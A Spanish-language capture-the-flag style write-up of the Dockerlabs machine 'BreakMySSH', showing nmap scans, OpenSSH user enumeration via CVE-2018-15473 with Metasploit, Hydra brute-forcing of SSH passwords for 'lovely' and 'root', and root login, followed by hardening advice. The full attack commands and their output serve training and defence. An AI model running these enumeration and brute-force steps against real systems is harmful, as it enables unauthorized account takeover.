

3-MyBreakSSH



Resumen

Plataforma: Dockerlabs

OS: Linux

Nivel: Muy Fácil

Cadena de Ataque: Enumeración de usuarios (CVE-2018-15473) → Fuerza Bruta SSH (Hydra) → Acceso Root directo

Ejecución

☐ 1. Reconocimiento y enumeración.

Realizamos un escaneo inicial con nmap, para mirar con que nos encontramos.

```
sudo nmap -p- -sS -sC -sV -T5 -n -vvv -Pn 172.17.0.2
```

Nos encuentra el puerto 22 abierto:

```
PORT      STATE SERVICE REASON          VERSION
22/tcp    open  ssh      syn-ack ttl 64    OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 1a:cb:5e:a3:3d:d1:da:c0:ed:2a:61:7f:73:79:46:ce (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQDf0r49bj2kh3ab2WutTu6Jx7NA7OKSxzp42bJU4nqtQLICZbjiBXh0a1ZK0fUfNvXOGEThiSrTNb
f1nRGzXtACiZQp+RwQr5ZEYPAOyasC7C29FaIZVURR7FuFea+tfWZjzbDaP8WnA/U3TQHwtUBsNSR3qFscgJQ1niCyrFH/4rbUk5jjiLYN6y8NjctGvsv
wPE+cCiFVge76qyfzmZdaf5gJT9DKDt47iBkrngCODYrqqt+Bbl9ZEGh5SUfDqYfsFMiVlsSjmbx0HtMc2NhTW7jLtyV3Xm6ynFUZmQRPRqXdzuN5TIh
YzaQD8ogC1Hk9sYJJNUMMF+LGVf15iouMn
|   256 54:9e:53:23:57:fc:60:1e:c0:41:cb:f3:85:32:01:fc (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBLJ77V///dhC1BX2KXpMNurk9hJPA3aukuoMLPajtYf
aewmlwrsK5Rdss/I/iQ23YrziNvWb3VMJk511YbvvreZo=
|   256 4b:15:7e:7b:b3:07:54:3d:74:ad:e0:94:78:0c:94:93 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICFLUqv+fruL58FgQLXP91bNrTRC9d1X545DZJ0wsw6z
MAC Address: 02:42:AC:11:00:02 (Unknown)
```

☐ 2. Búsqueda de vectores de ataque.

Realizamos un escaneo con nmap dirigido al puerto 22..

```
sudo nmap -p22 --script=vuln 172.17.0.2
```

No se encuentra ninguna vulnerabilidad inicial con nmap

```
(kali㉿kali)-[~/Escritorio]
$ sudo nmap -p22 --script=vuln 172.17.0.2
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-04 19:49 -0500
Nmap scan report for asucar.dl (172.17.0.2)
Host is up (0.000030s latency).

PORT      STATE SERVICE
22/tcp    open  ssh
MAC Address: 02:42:AC:11:00:02 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 7.50 seconds
```

-Realizamos una búsqueda de la versión actual de SSH instalada, en busca de vulnerabilidades. En este caso es la OpenSSH 7.7.

-Encontramos que esta versión es propensa a permitir enumeración de sudusuarios, CVE-2018-15473.

☐ 3. Explotación de la vulnerabilidad

Abrimos Metasploit, este se encargara de explotar el anterior vector de ataque encontrado.

```
# Paso a paso dentro de metasploit
msfconsole
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 172.17.0.2
set USER_FILE /usr/share/wordlists/rockyou.txt
set CHECK_FALSE true
run
```

Nos encuentra el siguiente usuario: "lovely"

También probamos con el usuario "root"

```
View the full module info with the info, or info -d command.

msf auxiliary(scanner/ssh/ssh_enumusers) > set RHOSTS 172.17.0.2
RHOSTS => 172.17.0.2
msf auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/wordlists/rockyou.txt
USER_FILE => /usr/share/wordlists/rockyou.txt
msf auxiliary(scanner/ssh/ssh_enumusers) > set CHECK_FALSE true
CHECK_FALSE => true
msf auxiliary(scanner/ssh/ssh_enumusers) > run
[*] 172.17.0.2:22 - SSH - Using malformed packet technique
[*] 172.17.0.2:22 - SSH - Checking for false positives
[*] 172.17.0.2:22 - SSH - Starting scan
[+] 172.17.0.2:22 - SSH - User 'lovely' found
[+] 172.17.0.2:22 - SSH - User 'nobody' found
[+] 172.17.0.2:22 - SSH - User 'games' found
```

Ya con esa pista nos vamos directamente a Hydra.

Ejecutamos el siguiente comando:

```
hydra -l lovely -P /usr/share/wordlists/rockyou.txt
ssh://172.17.0.2 -t 4 -vV
# (Todo junto)
```

Bingo! hemos encontrado la contraseña del usuario "lovely"

```
(kali㉿kali)-[~/Escritorio]
└─$ hydra -l lovely -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 -t 4 -vV
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organization
s, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-04 23:46:49
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://lovely@172.17.0.2:22
[INFO] Successful, password authentication is supported by ssh://172.17.0.2:22
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "123456" - 1 of 14344399 [child 0] (0/0)
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "12345" - 2 of 14344399 [child 1] (0/0)
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "123456789" - 3 of 14344399 [child 2] (0/0)
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "password" - 4 of 14344399 [child 3] (0/0)
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "iloveyou" - 5 of 14344399 [child 3] (0/0)
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "princess" - 6 of 14344399 [child 0] (0/0)
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "1234567" - 7 of 14344399 [child 1] (0/0)
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "rockyou" - 8 of 14344399 [child 2] (0/0)
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "12345678" - 9 of 14344399 [child 3] (0/0)
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "abc123" - 10 of 14344399 [child 0] (0/0)
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "nicole" - 11 of 14344399 [child 1] (0/0)
[22][ssh] host: 172.17.0.2 login: lovely password: rockyou
[STATUS] attack finished for 172.17.0.2 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-04 23:46:50
```

Nos conectamos por SSH y vemos que no tiene un vector de ataque inicial claro.

```
lovely@45aa53ee14b8:~$ ls
lovely@45aa53ee14b8:~$ ls -all
total 20
drwxr-xr-x 2 lovely lovely 4096 May 11 2024 .
drwxr-xr-x 1 root root 4096 May 11 2024 ..
-rw-r--r-- 1 lovely lovely 220 May 15 2017 .bash_logout
-rw-r--r-- 1 lovely lovely 3526 May 15 2017 .bashrc
-rw-r--r-- 1 lovely lovely 675 May 15 2017 .profile
lovely@45aa53ee14b8:~$ sudo -u root /bin/bash
-bash: sudo: command not found
lovely@45aa53ee14b8:~$ -u root /bin/bash
-bash: -u: command not found
lovely@45aa53ee14b8:~$ root /bin/bash
-bash: root: command not found
lovely@45aa53ee14b8:~$ sudo -u root /bin/sh
-bash: sudo: command not found
lovely@45aa53ee14b8:~$ su root
Password:
su: Authentication failure
lovely@45aa53ee14b8:~$ find / -perm -4000 2>/dev/null
/bin/umount
/bin/su
/bin/ping
/bin/mount
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/usr/local/libexec/ssh-keysign
lovely@45aa53ee14b8:~$ sudo -l
-bash: sudo: command not found
lovely@45aa53ee14b8:~$ su -l
Password:
su: Authentication failure
lovely@45aa53ee14b8:~$
```

Probamos Hydra con el usuario "root"

```
hydra -l root -P /usr/share/wordlists/rockyou.txt  
ssh://172.17.0.2 -t 4 -vV  
# (Todo junto)
```

Vemos que nos encuentra la contraseña bingo!!!

```
[ATTEMPT] target 172.17.0.2 - login "root" - pass "estrella" - 104 of 14344399 [child 1] (0/0)  
[22][ssh] host: 172.17.0.2 login: root password: estrella  
[STATUS] attack finished for 172.17.0.2 (waiting for children to complete tests)  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-05 00:20:13
```

Probamos esas credenciales y sucede la magia:

```
(kali㉿kali)-[~/Escritorio/breakmyssh]  
$ ssh root@172.17.0.2  
** WARNING: connection is not using a post-quantum key exchange algorithm.  
** This session may be vulnerable to "store now, decrypt later" attacks.  
** The server may need to be upgraded. See https://openssh.com/pq.html  
root@172.17.0.2's password:  
  
The programs included with the Debian GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.  
root@947b3ff44ddd:~# whoami  
root  
root@947b3ff44ddd:~#
```

Lecciones Aprendidas & Blue Team

Concepto Nuevo:

- ***Explotación de la vulnerabilidad CVE-2018-15473*** en OpenSSH < 7.7 utilizando el módulo auxiliar `ssh_enumusers` de Metasploit para descubrir usuarios válidos en el sistema sin poseer credenciales previas.
- Verificación de que comprometer a un usuario de bajos privilegios ("lovely") puede ser un distractor cuando la cuenta de máxima autoridad (`root`) carece de políticas de contraseñas robustas y es susceptible a fuerza bruta directa con listas conocidas (RockYou).

Cómo Parcharlo (Fix): 1. **Actualización de Software:** Actualizar el servicio OpenSSH a una versión superior a la 7.7 para mitigar la vulnerabilidad de enumeración de usuarios (CVE-2018-15473).

2. **Restricción de Privilegios por Red:** Modificar el archivo de configuración `/etc/ssh/sshd_config` y establecer el parámetro `PermitRootLogin no`. La cuenta `root` jamás debe tener acceso directo de inicio de sesión a través del protocolo SSH.

3. **Autenticación Fuerte:** En el mismo archivo de configuración, establecer `PasswordAuthentication no` para forzar el uso exclusivo de pares de llaves criptográficas (SSH Keys), lo que anula por completo la efectividad de los ataques de fuerza bruta o diccionario realizados con Hydra.

4. **Respuesta Activa (IPS):** Implementar herramientas como Fail2Ban para monitorear los logs del sistema

(`/var/log/auth.log`) y bloquear automáticamente a nivel de firewall (iptables/nftables) las direcciones IP que generen múltiples intentos de inicio de sesión fallidos.